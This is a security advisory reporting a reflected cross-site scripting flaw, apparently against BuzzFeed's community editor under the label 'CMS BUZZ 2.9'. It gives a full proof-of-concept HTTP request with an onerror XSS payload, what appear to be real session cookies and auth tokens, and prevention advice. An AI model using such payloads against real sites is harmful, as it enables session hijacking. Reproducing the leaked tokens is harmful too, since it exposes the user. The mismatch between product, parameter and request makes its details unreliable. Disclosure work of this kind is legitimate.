CMS BUZZ version 2.9 suffers from a cross site scripting vulnerability.
ceb02dff9ef07942d08b180f86e8c7d2e96bc11d93a3e50af7cf685a561d7668
Title:
=======
CMS BUZZ 2.9 - Reflected Cross-Site Scripting
Introduction:
==============
A content management system (CMS) is a computer application that supports the creation and modification of digital content.
It is often used to support multiple users working in a collaborative environment.
CMS features vary widely. Most CMSs include Web-based publishing, format management, history editing and version control, indexing, search, and retrieval.
By their nature, content management systems support the separation of content and presentation.
Vulnerability Disclosure:
==========================
2018-08-07: Public Disclosure
CVE - ID:
==========
N/A
Affected Product(s):
=====================
CMS BUZZ 2.9
Exploitation Technique:
========================
Remote
Severity Level:
================
High
Technical Details & Description:
=================================
A Reflected Cross-Site Scripting web vulnerability has been discovered in the "CMS BUZZ" web-application.
The vulnerability is located in the '/post' parameter of the'Model' action POST method request.
Request Method(s):
[+] POST
POST /api/buzzfeed/api/subbuzz/edit/121483472 HTTP/1.1
Host: community.buzzfeed.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://community.buzzfeed.com/
X-XSRFToken: 2|54bd4602|41e704e20e5327f17c3da4bb1925ceb8|1533589639
Content-Type: application/x-www-form-urlencoded
X-HTTP-Method-Override: PATCH
X-Requested-With: XMLHttpRequest
Content-Length: 166
Cookie: country=br; bf-browser-language=en-GB,en; bf-geo-country=BR; _ga=GA1.2.295601587.1533588649; _gid=GA1.2.2108660294.1533588649; __qca=P0-1878435370-1533588648999; __gads=ID=acb943420b19569f:T=1533588650:S=ALNI_MaZVbR9w_LkcMnvuiUe9HHc4dfEeg; __utma=219708042.295601587.1533588649.1533589590.1533589590.1; __utmb=219708042.5.8.1533589617973; __utmc=219708042; __utmz=219708042.1533589590.1.1.utmcsr=accounts.google.com|utmccn=(referral)|utmcmd=referral|utmcct=/signin/oauth/oauthchooseaccount; __utmv=219708042.|6=isRegistered=false=1^7=signupDate=false=1^8=facebookConnected=false=1^9=registrationPath=false=1^10=userFlags=false=1^11=allowsEmailUpdates=false=1^14=origReferrer=accounts.google.com=1^15=origPageType=Signup=1^18=lastVisit=1533589590=1^35=intlEdition=br=1^43=nDHPV=0=1; __utmt=1; bf2-b=8124d0f16cafe822946ace9da9596f48; default_user_session=8124d0f16cafe822946ace9da9596f48; bf2-b_info=public_dashboard%3Dtrue%26last_active%3D1533589611%26p_dashboard%3Dtrue%26userid%3D7334939%26is_subchannel%3Dfalse%26user_switching%3D1%26is_channel%3Dfalse%26display_name%3Doraclebacktrack%26image%3D%2Fstatic%2F2018-08%2F6%2F17%2Fuser_images%2Fbuzzfeed-prod-web-03%2Foraclebacktrack-v2-14816-1533589610-10.jpg%26username%3Doraclebacktrack%26p_alias%3Dtrue%26p_boost_buzz%3Dtrue%26permission_key%3D00000000000000000000000000000000000000000000000000000000000000010000000000000000008000000000000000000000000000000000000000000000000; default_user=public_dashboard%3Dtrue%26p_dashboard%3Dtrue%26userid%3D7334939%26is_subchannel%3Dfalse%26is_channel%3Dfalse%26display_name%3Doraclebacktrack%26image%3D%2Fstatic%2F2018-08%2F6%2F17%2Fuser_images%2Fbuzzfeed-prod-web-03%2Foraclebacktrack-v2-14816-1533589610-10.jpg%26username%3Doraclebacktrack%26p_alias%3Dtrue%26p_boost_buzz%3Dtrue%26id%3D7334939; bfauth=MTUzMzU4OTYzMHxEdi1CQkFFQ180SUFBUkFCRUFBQV83RF9nZ0FEQm5OMGNtbHVad3dOQUF0eVpXUnBjbVZqZEZWU1NRWnpkSEpwYm1jTUF3QUJMd1p6ZEhKcGJtY01EUUFMVlhObGNsTmxjM05wYjI0UkttMWhhVzR1VlhObGNsTmxjM05wYjI3X2d3TUJBUXRWYzJWeVUyVnpjMmx2YmdIX2hBQUJCUUVJVUhKdmRtbGtaWElCREFBQkJWUnZhMlZ1QVJBQUFRaFZjMlZ5U1c1bWJ3SF9oZ0FCRGx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EdGMGFXTXZNakF4T0Mwd09DODJMekUzTDNWelpYSmZhVzFoWjJWekwySjFlbnBtWldWa0xYQnliMlF0ZDJWaUxUQXpMMjl5WVdOc1pXSmhZMnQwY21GamF5MTJNaTB4TkRneE5pMHhOVE16TlRnNU5qRXdMVEV3TG1wd1p3RVBiM0poWTJ4bFltRmphM1J5WVdOckFRRUJNU0RBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFROEJBQUFBRHRMNnN3SW5TNTN4QUFBQkR3RUFBQUFPMHZzRDNpZExtSVlBQUFBR2MzUnlhVzVuREFjQUJYTjBZWFJsQm5OMGNtbHVad3d1QUN4QmREVlBTMUJ5YVhwNmRGaFlUazkyVkROUFZqRlZOVzR4TTFGMlJGWm9VbWhDTlRsdWMyTk9NREZGUFE9PXyMcWJ3DwJVQavSuy8UR-YuThi8sJy6xAwzSnE5HKmtCA==; _xsrf=2|54bd4602|41e704e20e5327f17c3da4bb1925ceb8|1533589639
Connection: close
model=%7B%22name%22%3A%22%5C%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(document.cookie)%3E%22%2C%22id%22%3A%22121483472%22%2C%22buzz_id%22%3A%224880746%22%7D&_method=PATCH
Vulnerable Directory(s):
[+] /post
Vulnerable Parameter(s):
[+] Model
Proof of Concept (PoC):
========================
Cross-Site Scripting, also known as XSS, is one of the most common attacks carried out in web applications.
The concept of XSS is to manipulate the client-side scripts of a web application to perform actions planned by a malicious user.
Reflected Cross-Site Scripting occurs when data sent by the attacker to the application is displayed on the page without the need to be stored somewhere.
Payload:
[+] "><img src=x onerror=prompt(document.domain)>
Solution
=========
For a prevention of Cross Site Scripting, some measures should be considered:
Never enter untrusted data except in locations defined for this purpose.
The principle of this rule is to deny everything and mostly do not JavaScript code from an unknown source and then run it.
Validate the escape characters before inserting them inside the HTML element. Failure to validate inputs may allow malicious code to be injected into the application.
Validate URL parameters and check information that sends our HTTP requests, hex escapes us in URLs such as% 25, aawhere 25 is the ASCII code of the character "%".
Avoid HTML injection attacks by resorting to libraries that parse the inserted HTML such as: HtmlSanitizer, OWASP Java HTML Sanitizer.
Another recommendation to mitigate such security flaws in a web application is an application of a Web Application Firewall (WAF) such as ModSecurity, Ironbee and others.
Credits
========
Offensive0Labs - Thiago Sena & Rafael Fontes Souza
References
==========
http://projects.webappsec.org/Cross-Site-Scripting
http://cwe.mitre.org/data/definitions/79.html
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
Sent from [ProtonMail](https://protonmail.ch), encrypted email based in Switzerland.